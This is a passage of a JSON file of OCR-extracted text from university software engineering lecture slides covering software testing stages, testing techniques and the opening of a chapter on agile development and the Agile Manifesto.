| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:04:41+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-338-0000": { |
| "id": "CO3001-chapter-9-slide-338-0000", |
| "text": "A MODEL OE THE SOETWARE : TESTING PROCESS Test Test Test Test data results cases reports Design test Prepare test Run program Compare results data cases with test data to test cases BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 22 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_022.png", |
| "page_index": 338, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:04:45+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-339-0000": { |
| "id": "CO3001-chapter-9-slide-339-0000", |
| "text": "STAGES OF TESTING Development testing the system is tested during development to discover bugs and defects. Release testing a separate testing team test a complete version of the V User testing users or potential users of a system test the system in their own environment. BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 23 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_023.png", |
| "page_index": 339, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:04:49+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-340-0000": { |
| "id": "CO3001-chapter-9-slide-340-0000", |
| "text": "DEVELOPMENT TESTING BK Sep 2019 HAPIER 8. SOFWARE IESUNG 24 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_024.png", |
| "page_index": 340, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:04:52+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-341-0000": { |
| "id": "CO3001-chapter-9-slide-341-0000", |
| "text": "DEVELOPMENT TESTING carried out by the team developing the Unit testing: system. : for individual program units or object classes - focus on testing the functionality of objects or methods. Component testing: several individual units are integrated to create composite components System testing: the system is tested as' a whole focus on testing component interactions. BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 25 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_025.png", |
| "page_index": 341, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:04:56+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-342-0000": { |
| "id": "CO3001-chapter-9-slide-342-0000", |
| "text": "UNIT TESTING V l Unit testing is the process of testing individual components in isolation. It is a defect testing process. V Units may be: - Individual functions or methods within an object Object classes with several attributes and methods Composite components with defined interfaces used to access their functionality. BK Sep 2019 CHAPTER 8. SOETWARE TESTING 26 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_026.png", |
| "page_index": 342, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:01+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-343-0000": { |
| "id": "CO3001-chapter-9-slide-343-0000", |
| "text": "UNIT TESTING: BLACK-/WHITE-BOX TEST from Compare actual requirement output with require S Black output Box Input Output from requirement s & key Confirm expected White design behaviour Box elements Input Output www.softwaretestinggenius.com Gray-box: mix of black- and white-box BK testing Sep 2019 CHAPTER 8. SOFTWARE TESTING 27 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_027.png", |
| "page_index": 343, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:05+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-344-0000": { |
| "id": "CO3001-chapter-9-slide-344-0000", |
| "text": "for (i=0; i<numrows; i++ for (j=0; j<numcols; j++) ; pixels++; int minval(int *A, int n) { int currmin; for (int i=0; i<n; i++ if (A[i] < currmin) currmin = A[i]; return currmin; BK Sep 2019 CHAPTER 8. SOFTWARE IESUNG 28 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_028.png", |
| "page_index": 344, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:10+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-345-0000": { |
| "id": "CO3001-chapter-9-slide-345-0000", |
| "text": "switch (i) { case 1 : do something(l); break; 2 : case do something(2) ; break; 3 : case do something(l) ; break; 4 : case do something(4) ; break; default: break; BK Sep 2019 CHAPTER 8.SOFTWARE IESUNG 29 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_029.png", |
| "page_index": 345, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:13+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-346-0000": { |
| "id": "CO3001-chapter-9-slide-346-0000", |
| "text": "EQUIVALENCE PARTITIONNG Jivalence partitions Output partitions System public int multi(int x,int y){ int z; z=x*y; return z Possible inputs Correct outputs Possible outputs 3 1 1 4 1 10 Less than 4 Between 4 and 10 More than 10 Number of input values BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 30 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_030.png", |
| "page_index": 346, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:18+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-347-0000": { |
| "id": "CO3001-chapter-9-slide-347-0000", |
| "text": "Test cases INTEREACE TESTING A B Detect faults due to C interface errors or invalid d assumptions about interfaces. Interface types Parameter interfaces 1 Shared memory interfaces Procedural interfaces Message passing interfaces BK Sep 2019 CHAPTER 8. SOETWARE TESTING 31 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_031.png", |
| "page_index": 347, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:22+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-348-0000": { |
| "id": "CO3001-chapter-9-slide-348-0000", |
| "text": "WHITE-BOX TESTING Start Statement InputA&B coverage C-A+8 Branch coverage YES Print\"ltsDone Path coverage 100 NO End If YES A>45 PringltsPendinE NO StOp Path Coverage BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 32 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_032.png", |
| "page_index": 348, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:28+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-349-0000": { |
| "id": "CO3001-chapter-9-slide-349-0000", |
| "text": "AUTOMATED TESTING Whenever possible, unit testing should be automated V Us t) Code commits Cl tool Repository Deploy Tests git git www.TestingDocs.com Release Cl/CD pipeline BK git Sep 2019 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_033.png", |
| "page_index": 349, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:33+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-350-0000": { |
| "id": "CO3001-chapter-9-slide-350-0000", |
| "text": "SYSTEM TESTING System testing during development = to create a version of the system and then testing the integrated system Focus on testing the interactions between components. System testing checks that components are compatible, interact correctly and transfer the right data at the right time across their interfaces. And tests the emergent behaviour of a system. BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 34 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_034.png", |
| "page_index": 350, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:37+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-351-0000": { |
| "id": "CO3001-chapter-9-slide-351-0000", |
| "text": "TYPES OE SYSTeM TESTS Volume Security Subiect product to large amounts Subject to compromise attempts. of input. Resource usage Usability Measure usage of RAM and disk Measure user reaction (e.g., score space etc. 1-10). Install-ability Performance Install under various circumstances. Measure speed under various Recoverability circumstances. Force activities that take the Configuration application down. Configure to various hardware / Serviceability software Service application under various Compatibility situations. with other designated Load / Stress applications Subiect to extreme data & event Reliability / Availability traffic Measure up-time over extended BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 35 TP.HCM period.", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_035.png", |
| "page_index": 351, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:43+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-352-0000": { |
| "id": "CO3001-chapter-9-slide-352-0000", |
| "text": "USE-CASE TESTING The use-cases developed to identify system interactions can be used as a basis for system testing e usually involves several system Each l use case components so testing the use case forces these Interactions to occur. being tested. BK Sep 2019 CHAPTER 8. SOETWARE TESTING 36 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_036.png", |
| "page_index": 352, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:47+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-353-0000": { |
| "id": "CO3001-chapter-9-slide-353-0000", |
| "text": "TEST-DRIVEN DEVELOPMENT inter-leave testing and code development pass Identify new functionality Implement fail Write test Run test functionality and refactor Benefits of test-driven development . Code coverage . Regression testing . Simplified debugging . System documentation BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 37 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_037.png", |
| "page_index": 353, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:52+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-354-0000": { |
| "id": "CO3001-chapter-9-slide-354-0000", |
| "text": "REGRESSION TESTING Test the system to check that changes have not 'broken'previously working code. Better with automated testing the program. s must run 'successfully' before the change is Tests committed. BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 38 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_038.png", |
| "page_index": 354, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:55+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-355-0000": { |
| "id": "CO3001-chapter-9-slide-355-0000", |
| "text": "TOPICS COVERED Software Quality & its importance Development testing Release testing V User testing BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 39 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_039.png", |
| "page_index": 355, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:05:59+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-356-0000": { |
| "id": "CO3001-chapter-9-slide-356-0000", |
| "text": "RELEASE TESTING BK Sep 2019 CHAPTER 8. SOFTWARE IESUNG 40 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_040.png", |
| "page_index": 356, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:02+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-357-0000": { |
| "id": "CO3001-chapter-9-slide-357-0000", |
| "text": "RELEASE TESTING Test a particular release of a system that is intended for use outside of the development team. Primary goal: to convince that it is good enough for use. Show that the system delivers its specified functionality. performance and dependability, and that it does not fail during normal use. Is usually a black-box testing tests are only derived from the system specification Is a form of system testing- BK Sep 201 CHAPTER 8. SOFTWARE TESTING 41 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_041.png", |
| "page_index": 357, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:06+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-358-0000": { |
| "id": "CO3001-chapter-9-slide-358-0000", |
| "text": "REQUIREMENTS BASED TESTING Involves examining each requirement and developing a Example: Mettaa@rstes@nf@qitirements: If a patient is.known to be .allergic to any particular medication, then prescription of that médication shall result in a warning message being issued to the system user. Set up a patient record with no known allergies. Prescribe medication for allergies that are known to exist. Check that a warning message is not issued by the system. Set up.a patient record with a known allergy. Prescribe the medication to that the patient' is allergic to, and check that the warning is issüed by the system. Set up .a patient record in which allergies to two or more drugs are recorded. Prescribe both of these for each drug is'issued. Prescribe two drugs that the patient is allergic.to BK Sep 2019 Check that two warnings are correctly issued. HAPTER 8. SOFTWARE TESTING 42 P.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_042.png", |
| "page_index": 358, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:13+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-359-0000": { |
| "id": "CO3001-chapter-9-slide-359-0000", |
| "text": "PERFORMANCE TESTING Part of release testing may involve testing the emergent properties of a system, such as performance and reliability. Tests should reflect the profile of use of the system. Is usually a series of tests the load is steadily increased until the system performance becomes unacceptable. Stress testing is a.form of performance testing where the system is deliberately overloaded to test its failure beh'aviour. BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 43 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_043.png", |
| "page_index": 359, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:16+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-360-0000": { |
| "id": "CO3001-chapter-9-slide-360-0000", |
| "text": "USER TESTING BK Sep 2019 CHAPTER 8. SOFTWARE IESUNG 44 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_044.png", |
| "page_index": 360, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:19+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-361-0000": { |
| "id": "CO3001-chapter-9-slide-361-0000", |
| "text": "USER TESTING A stage in which users or customers provide input and advice on system testing User testing is s essential, even when comprehensive system and release testing have been carried out. Types of user-testing Alpha testing Beta testing Acceptance testing BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 45 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_045.png", |
| "page_index": 361, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:23+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-362-0000": { |
| "id": "CO3001-chapter-9-slide-362-0000", |
| "text": "STAGES IN THE ACCEPTANCE TESTING PROCESS Test Test Testing Test Tests criteria plan results report Define Plan Derive Run Negotiate Accept or acceptance acceptance acceptance acceptance test results reject criteria testing tests tests system Define acceptance criteria Plan acceptance testing Derive acceptance tests Run acceptance tests Negotiate test results Reject/accept system BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 46 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_046.png", |
| "page_index": 362, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:30+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-363-0000": { |
| "id": "CO3001-chapter-9-slide-363-0000", |
| "text": "STOPPING CRITERIA Completing a particular test methodology Estimated percent coverage for each category Error detection rate Total number of errors found 7 BK Sep 2019 CHAPTER 8. SOETWARE TESTING 47 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_047.png", |
| "page_index": 363, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:33+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-364-0000": { |
| "id": "CO3001-chapter-9-slide-364-0000", |
| "text": "SUMMARY Testing can only show the.presence of errors in a program. It cannot demonstrate that there are no remaining fäults. Development testing: development team Development testing includes unit testing, component testing, and syštem testing When testing software: try to 'break' the software by using experience and guidelines Wherever possible, you should write automated tests Test-first development: tests are written before the code Scenario, testing involves inventing a typical usage scenario and using this to derive test cases. Acceptance testing: user testing process => if the software is good enough to be deployed and used in its operational environment. BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 48 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_048.png", |
| "page_index": 364, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:39+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-365-0000": { |
| "id": "CO3001-chapter-10-slide-365-0000", |
| "text": "SOFTWARE ENGINEERING CO3001 CHAPTER 1O - AGILE SOFTWARE DEVELOPMENT Anh Nguyen-Duc Tho Quan WEEK 10 BK TP.HCM Adapted from https://iansommerville.com/software-engineering-book/slides/", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_001.png", |
| "page_index": 365, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:42+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-366-0000": { |
| "id": "CO3001-chapter-10-slide-366-0000", |
| "text": "TOPICS COVERED Agile methods Scrum in nutshell Other Agile approaches BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_002.png", |
| "page_index": 366, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:45+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-367-0000": { |
| "id": "CO3001-chapter-10-slide-367-0000", |
| "text": "RAPID SOETWARE DEVELOPMENT Rapid development and delivery is now often the most important requirement for software systems Businesses operate in a fast-changing requirement => practically impossible to have stable software requirements Software has to evolve quickly to reflect changing business needs. Plan-driven development (waterfall, incremental dev.) is essential for some types of system but does not meet these business needs. BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_003.png", |
| "page_index": 367, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:49+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-368-0000": { |
| "id": "CO3001-chapter-10-slide-368-0000", |
| "text": "AGILE DEVELOPMENT emerged in the late 1990s aim to radically reduce the delivery time for working software systems Program specification, design and implementation are inter- leaved The system = a series of versions / increments Stakeholders involved in version specification and evaluation Frequent delivery of new versions for evaluation Minimal documentation - focus on working code Extensive tool support (e.g. automated testing tools) used to support development. BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_004.png", |
| "page_index": 368, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:53+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-369-0000": { |
| "id": "CO3001-chapter-10-slide-369-0000", |
| "text": "PLAN-DRIVEN AND AGILE DEVELOPMENT Plan-based development i.e. : waterfall model, incremental development Requirements Requirements Design and engineering implementation specification Requirements change requests Agile development Requirements Design and engineering implementation BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_005.png", |
| "page_index": 369, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:06:57+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-370-0000": { |
| "id": "CO3001-chapter-10-slide-370-0000", |
| "text": "AGILE METHODS BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_006.png", |
| "page_index": 370, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:00+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-371-0000": { |
| "id": "CO3001-chapter-10-slide-371-0000", |
| "text": "THE AGILE MANIEESTO ndividuals and over Process and tools interactions Comprehensive Working software over documentation Customer over Contract negotiation collaboration Responding to Following a plan over change Source: www.agilemanifesto.org BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_007.png", |
| "page_index": 371, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:04+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-372-0000": { |
| "id": "CO3001-chapter-10-slide-372-0000", |
| "text": "VALUE 1: INDIVIDUALS AND INTERACTIONS OVER PROCESSES AND TOOLS Strong players: a must, but can fail if don't work together. Strong player: not necessarily an 'ace;' work well with others! -Communication and interacting is more important than raw talent 'Right' tools are vital to smooth functioning of a team. Start small. Find a free tool and use until you can demo you've outgrown it. Don't assume bigger is better. Start with white board; flat files before going to a huge database. Building a team more important than building environment. -Some managers build the environment and expect the team to fall together. -Doesn't work. -Let the team build the environment on the basis of need BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_008.png", |
| "page_index": 372, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:09+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-373-0000": { |
| "id": "CO3001-chapter-10-slide-373-0000", |
| "text": "VALUE 2: WORKING SOETWARE OVER COMPREHENSIVE DOCUMENTATION Code - not ideal medium for communicating rationale and system structure. - Team needs to produce human readable documents describing system and design decision rationale Too much documentation is worse than too little - Take time; more to keep in sync with code; Not kept in sync? it is a lie and misleading. Short rationale and structure document. Keep this in sync; Only highest level structure in system kept - Fatal flaw: Pursue documentation instead of software: Rule: Produce no document unless need is immediate and significant. BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_009.png", |
| "page_index": 373, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:14+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-374-0000": { |
| "id": "CO3001-chapter-10-slide-374-0000", |
| "text": "VALUE 3: CUSTOMER COLLABORATION OVER CONTRACT NEGOTIATION (1 OF 2) Not possible_to describe software requirements up front and leave someone else to develop it within cost and on time. Customers cannot just cite needs and go away Successful projects require customer feedback on a regular and freguent basis_- and not dependent upon a contract or SOW. BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_010.png", |
| "page_index": 374, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:18+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-375-0000": { |
| "id": "CO3001-chapter-10-slide-375-0000", |
| "text": "VALUE 3: CUSTOMER COLLABORATION OVER CONTRACT NEGOTIATION (2 OF 2) Best contracts_are NOT those specifying requirements, schedule and cost. - Become meaningless shortly. Far better are contracts that govern the way the development team and customer will work together. Key is intense collaboration with customer and a contract that governed collaboration rather than details of scope and schedule - Details ideally not specified in contract. - Rather contracts could pay when a block (deliverable) passed customer's acceptance tests. With frequent deliverables and feedback, acceptance tests never an issue. BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_011.png", |
| "page_index": 375, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:23+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-376-0000": { |
| "id": "CO3001-chapter-10-slide-376-0000", |
| "text": "VALUE 4: RESPONDING TO CHANGE OVER FOLLOWING A PLAN Our plans and ability to respond to changes is critical! Course of a project cannot be predicted far into future. -Too many variables; not many good ways at estimating cost -As developers gain knowledge of the system and as customer gains knowledge rough plans for the next few months, and extremely crude plans beyond that. Need to know what we will be working on the next few weeks; roughly for the next few months; a vague idea what system will do after a year. Only invest in a detailed plan for immediate tasks; once plan is made, difficult to change due to momentum and commitment. -The lower resolution parts of the plan can be changed with relative ease. BK 28.08.2023 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_012.png", |
| "page_index": 376, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:29+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-377-0000": { |
| "id": "CO3001-chapter-10-slide-377-0000", |
| "text": "INTRODUCTION TO SCRUM BK TP.HCM 28.08.2023", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_10/slide_013.png", |
| "page_index": 377, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:07:32+07:00" |
| } |
| }, |
| "CO3001-chapter-10-slide-378-0000": { |
| "id": "CO3001-chapter-10-slide-378-0000", |
